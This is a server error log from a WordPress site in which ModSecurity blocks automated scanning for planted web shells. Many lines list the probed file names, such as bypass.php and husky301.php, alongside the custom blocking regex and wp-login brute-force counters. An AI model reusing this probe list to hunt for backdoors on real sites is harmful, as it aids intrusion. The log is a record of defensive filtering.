[Thu Apr 23 09:51:39.022994 2026] [proxy_fcgi:error] [pid 64998:tid 65006] [client 91.230.225.200:54441] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:39.298714 2026] [proxy_fcgi:error] [pid 64998:tid 65025] [client 91.230.225.200:54441] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:39.620695 2026] [:error] [pid 64998:tid 65025] [client 91.230.225.200:54441] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ael7K4V5EysYcTLjmwhr6AAAAdc"]
[Thu Apr 23 09:51:40.497983 2026] [:error] [pid 64998:tid 65025] [client 185.192.71.37:62701] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "ael7LIV5EysYcTLjmwhsAAAAAdc"]
[Thu Apr 23 09:51:41.073295 2026] [proxy_fcgi:error] [pid 64967:tid 64979] [client 91.230.225.209:36955] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:41.366030 2026] [:error] [pid 64967:tid 64983] [client 91.230.225.209:36955] [client 91.230.225.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "ael7LYAV4GfOOdX8QzoongAAAY4"]
[Thu Apr 23 09:51:41.928793 2026] [proxy_fcgi:error] [pid 25635:tid 25645] [client 185.192.71.35:54911] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:42.766314 2026] [proxy_fcgi:error] [pid 25635:tid 25663] [client 185.192.71.35:54911] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:43.581182 2026] [:error] [pid 25635:tid 25646] [client 185.192.71.35:54911] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "ael7L8Rxv6UsgRGKB3LzkwAAAQc"]
[Thu Apr 23 09:51:44.130309 2026] [proxy_fcgi:error] [pid 42972:tid 43040] [client 185.192.71.39:47715] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:44.402068 2026] [:error] [pid 42972:tid 43035] [client 185.192.71.39:47715] [client 185.192.71.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "ael7MMOAb-3sOknsk4c6_QAAAFM"]
[Thu Apr 23 09:51:44.957633 2026] [proxy_fcgi:error] [pid 64998:tid 65021] [client 185.192.71.21:26113] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:45.520255 2026] [:error] [pid 64998:tid 65022] [client 185.192.71.21:26113] [client 185.192.71.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "ael7MYV5EysYcTLjmwhsZQAAAdQ"]
[Thu Apr 23 09:51:46.343970 2026] [:error] [pid 42971:tid 42987] [client 185.192.71.33:51141] [client 185.192.71.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "ael7MjEP2_5RswrH8bHSWAAAAAE"]
[Thu Apr 23 09:51:47.192300 2026] [proxy_fcgi:error] [pid 42972:tid 43019] [client 91.230.225.10:28187] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:48.890349 2026] [proxy_fcgi:error] [pid 42972:tid 43026] [client 91.230.225.10:28187] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:52.138938 2026] [:error] [pid 42972:tid 43019] [client 91.230.225.10:28187] [client 91.230.225.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "ael7OMOAb-3sOknsk4c7VgAAAEM"]
[Thu Apr 23 09:51:52.957553 2026] [:error] [pid 43083:tid 43091] [client 185.192.71.23:36567] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "ael7ODC5hrvNXosL83INbQAAAMY"]
[Thu Apr 23 09:51:53.793022 2026] [:error] [pid 43083:tid 43102] [client 91.230.225.19:25959] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "ael7OTC5hrvNXosL83INgQAAANE"]
[Thu Apr 23 09:51:54.344674 2026] [:error] [pid 65000:tid 65044] [client 185.192.71.33:63049] [client 185.192.71.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "ael7Or6vRb9j6psK2Zb0CwAAAgs"]
[Thu Apr 23 09:51:54.888409 2026] [:error] [pid 59700:tid 59702] [client 185.192.71.32:49903] [client 185.192.71.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "ael7OpXyGZJFeAIDWtmLQwAAAUA"]
[Thu Apr 23 09:51:56.046862 2026] [proxy_fcgi:error] [pid 65000:tid 65055] [client 91.230.225.10:57771] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:59.120702 2026] [:error] [pid 65000:tid 65042] [client 91.230.225.10:57771] [client 91.230.225.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "ael7P76vRb9j6psK2Zb0SgAAAgk"]
[Thu Apr 23 09:51:59.674945 2026] [:error] [pid 64967:tid 64988] [client 91.230.225.20:52253] [client 91.230.225.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "ael7P4AV4GfOOdX8QzopFwAAAZM"]
[Thu Apr 23 09:52:00.244153 2026] [:error] [pid 43083:tid 43098] [client 91.230.225.16:45483] [client 91.230.225.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "ael7QDC5hrvNXosL83INwQAAAM0"]
[Thu Apr 23 09:52:01.407924 2026] [proxy_fcgi:error] [pid 42971:tid 43001] [client 91.230.225.205:28643] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:02.052353 2026] [proxy_fcgi:error] [pid 42971:tid 43003] [client 91.230.225.205:28643] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:02.356638 2026] [proxy_fcgi:error] [pid 42971:tid 43007] [client 91.230.225.205:28643] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:03.270008 2026] [:error] [pid 42971:tid 42990] [client 91.230.225.205:28643] [client 91.230.225.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "ael7QzEP2_5RswrH8bHS7AAAAAQ"]
[Thu Apr 23 09:52:08.137248 2026] [:error] [pid 64998:tid 65007] [client 91.230.225.10:46149] [client 91.230.225.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.10, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "ael7SIV5EysYcTLjmwhtagAAAcU"]
[Thu Apr 23 09:52:08.418397 2026] [proxy_fcgi:error] [pid 64998:tid 65012] [client 91.230.225.10:46149] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:09.865310 2026] [proxy_fcgi:error] [pid 64998:tid 65010] [client 91.230.225.10:46149] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:10.155814 2026] [proxy_fcgi:error] [pid 64998:tid 65013] [client 91.230.225.10:46149] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:11.642956 2026] [:error] [pid 64998:tid 65011] [client 91.230.225.10:46149] [client 91.230.225.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "ael7S4V5EysYcTLjmwhtngAAAck"]
[Thu Apr 23 09:52:12.811290 2026] [proxy_fcgi:error] [pid 64967:tid 64972] [client 185.192.71.37:65387] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:18.218297 2026] [:error] [pid 64967:tid 64987] [client 185.192.71.37:65387] [client 185.192.71.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.37, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "ael7UoAV4GfOOdX8QzopfAAAAZI"]
[Thu Apr 23 09:52:18.785021 2026] [:error] [pid 64967:tid 64971] [client 185.192.71.37:65387] [client 185.192.71.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "ael7UoAV4GfOOdX8QzopgQAAAYI"]
[Thu Apr 23 09:52:19.652727 2026] [proxy_fcgi:error] [pid 64998:tid 65018] [client 185.192.71.32:53491] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:20.529303 2026] [proxy_fcgi:error] [pid 64998:tid 65021] [client 185.192.71.32:53491] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:21.091298 2026] [proxy_fcgi:error] [pid 64998:tid 65026] [client 185.192.71.32:53491] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:21.649648 2026] [:error] [pid 64998:tid 65007] [client 185.192.71.32:53491] [client 185.192.71.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "ael7VYV5EysYcTLjmwhuNgAAAcU"]
[Thu Apr 23 09:52:22.239305 2026] [proxy_fcgi:error] [pid 64998:tid 65009] [client 91.230.225.13:27013] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:23.080779 2026] [proxy_fcgi:error] [pid 64998:tid 65009] [client 91.230.225.13:27013] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:23.956386 2026] [proxy_fcgi:error] [pid 64998:tid 65016] [client 91.230.225.13:27013] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:24.531082 2026] [proxy_fcgi:error] [pid 64998:tid 65019] [client 91.230.225.13:27013] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:24.811958 2026] [:error] [pid 64998:tid 65023] [client 91.230.225.13:27013] [client 91.230.225.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "ael7WIV5EysYcTLjmwhuXAAAAdU"]
[Thu Apr 23 09:52:25.457310 2026] [proxy_fcgi:error] [pid 64967:tid 64982] [client 91.230.225.22:58701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:25.745549 2026] [proxy_fcgi:error] [pid 64967:tid 64993] [client 91.230.225.22:58701] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:26.014956 2026] [:error] [pid 64967:tid 64978] [client 91.230.225.22:58701] [client 91.230.225.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "ael7WoAV4GfOOdX8Qzop_wAAAYk"]
[Thu Apr 23 09:52:27.088296 2026] [proxy_fcgi:error] [pid 64998:tid 65015] [client 91.230.225.202:26667] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:27.643152 2026] [:error] [pid 64998:tid 65012] [client 91.230.225.202:26667] [client 91.230.225.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.230.225.202, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "ael7W4V5EysYcTLjmwhukwAAAco"]
[Thu Apr 23 09:52:27.931491 2026] [:error] [pid 64998:tid 65012] [client 91.230.225.202:26667] [client 91.230.225.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "ael7W4V5EysYcTLjmwhumgAAAco"]
[Thu Apr 23 09:52:31.397337 2026] [proxy_fcgi:error] [pid 64967:tid 64991] [client 91.230.225.12:52577] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:32.533330 2026] [proxy_fcgi:error] [pid 64967:tid 64988] [client 91.230.225.12:52577] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:33.103290 2026] [proxy_fcgi:error] [pid 64967:tid 64972] [client 91.230.225.12:52577] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:33.376053 2026] [:error] [pid 64967:tid 64973] [client 91.230.225.12:52577] [client 91.230.225.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "ael7YYAV4GfOOdX8QzoqUwAAAYQ"]
[Thu Apr 23 09:52:33.945372 2026] [proxy_fcgi:error] [pid 65000:tid 65037] [client 185.192.71.27:33981] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:34.792899 2026] [:error] [pid 65000:tid 65056] [client 185.192.71.27:33981] [client 185.192.71.27] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.192.71.27, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "ael7Yr6vRb9j6psK2Zb1iQAAAhc"]
[Thu Apr 23 09:52:35.179306 2026] [proxy_fcgi:error] [pid 65000:tid 65053] [client 185.192.71.27:33981] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:35.467285 2026] [proxy_fcgi:error] [pid 65000:tid 65055] [client 185.192.71.27:33981] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:35.822346 2026] [proxy_fcgi:error] [pid 65000:tid 65042] [client 185.192.71.27:33981] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:36.092772 2026] [:error] [pid 65000:tid 65040] [client 185.192.71.27:33981] [client 185.192.71.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "ael7ZL6vRb9j6psK2Zb1mQAAAgc"]
[Thu Apr 23 09:52:36.666245 2026] [proxy_fcgi:error] [pid 25635:tid 25650] [client 91.230.225.15:37759] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:36.942169 2026] [:error] [pid 25635:tid 25652] [client 91.230.225.15:37759] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "ael7ZMRxv6UsgRGKB3L0ywAAAQ0"]
[Thu Apr 23 09:52:37.778245 2026] [proxy_fcgi:error] [pid 65000:tid 65049] [client 91.230.225.205:28479] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:38.051306 2026] [:error] [pid 65000:tid 65057] [client 91.230.225.205:28479] [client 91.230.225.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "ael7Zr6vRb9j6psK2Zb1uAAAAhg"]
[Thu Apr 23 09:52:39.173887 2026] [proxy_fcgi:error] [pid 64998:tid 65022] [client 185.192.71.27:30331] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:39.445030 2026] [:error] [pid 64998:tid 65021] [client 185.192.71.27:30331] [client 185.192.71.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "ael7Z4V5EysYcTLjmwhvYwAAAdM"]
[Thu Apr 23 09:52:40.047205 2026] [:error] [pid 64998:tid 65023] [client 91.230.225.20:57745] [client 91.230.225.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "ael7aIV5EysYcTLjmwhvdwAAAdU"]
[Thu Apr 23 09:52:40.638309 2026] [proxy_fcgi:error] [pid 43083:tid 43096] [client 91.230.225.198:44713] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:40.945540 2026] [proxy_fcgi:error] [pid 43083:tid 43097] [client 91.230.225.198:44713] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:42.139959 2026] [:error] [pid 43083:tid 43093] [client 91.230.225.198:44713] [client 91.230.225.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "ael7ajC5hrvNXosL83IPZQAAAMg"]
[Thu Apr 23 09:52:42.977820 2026] [:error] [pid 64967:tid 64981] [client 185.192.71.27:21019] [client 185.192.71.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "ael7aoAV4GfOOdX8QzoqcgAAAYw"]
[Thu Apr 23 09:52:43.526323 2026] [proxy_fcgi:error] [pid 42971:tid 43003] [client 185.192.71.30:51427] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:44.373902 2026] [:error] [pid 42971:tid 43000] [client 185.192.71.30:51427] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "ael7bDEP2_5RswrH8bHT8gAAAA4"]
[Thu Apr 23 09:52:44.927333 2026] [proxy_fcgi:error] [pid 59700:tid 59723] [client 91.230.225.11:64915] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:45.505301 2026] [proxy_fcgi:error] [pid 59700:tid 59708] [client 91.230.225.11:64915] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:45.776415 2026] [:error] [pid 59700:tid 59723] [client 91.230.225.11:64915] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "ael7bZXyGZJFeAIDWtmNLAAAAVU"]
[Thu Apr 23 09:52:46.349330 2026] [proxy_fcgi:error] [pid 42971:tid 42993] [client 185.192.71.23:23893] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:47.080482 2026] [:error] [pid 42971:tid 43006] [client 185.192.71.23:23893] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "ael7bzEP2_5RswrH8bHUBwAAABQ"]
[Thu Apr 23 09:52:47.669298 2026] [proxy_fcgi:error] [pid 59700:tid 59712] [client 185.192.71.22:20703] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:48.513870 2026] [:error] [pid 59700:tid 59723] [client 185.192.71.22:20703] [client 185.192.71.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "ael7cJXyGZJFeAIDWtmNQQAAAVU"]
[Thu Apr 23 09:52:49.383721 2026] [proxy_fcgi:error] [pid 64967:tid 64973] [client 91.230.225.22:38327] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:49.968308 2026] [proxy_fcgi:error] [pid 64967:tid 64970] [client 91.230.225.22:38327] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:50.259302 2026] [proxy_fcgi:error] [pid 64967:tid 64974] [client 91.230.225.22:38327] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:50.815935 2026] [proxy_fcgi:error] [pid 64967:tid 64983] [client 91.230.225.22:38327] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:51.097934 2026] [:error] [pid 64967:tid 64986] [client 91.230.225.22:38327] [client 91.230.225.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "ael7c4AV4GfOOdX8QzoqqgAAAZE"]
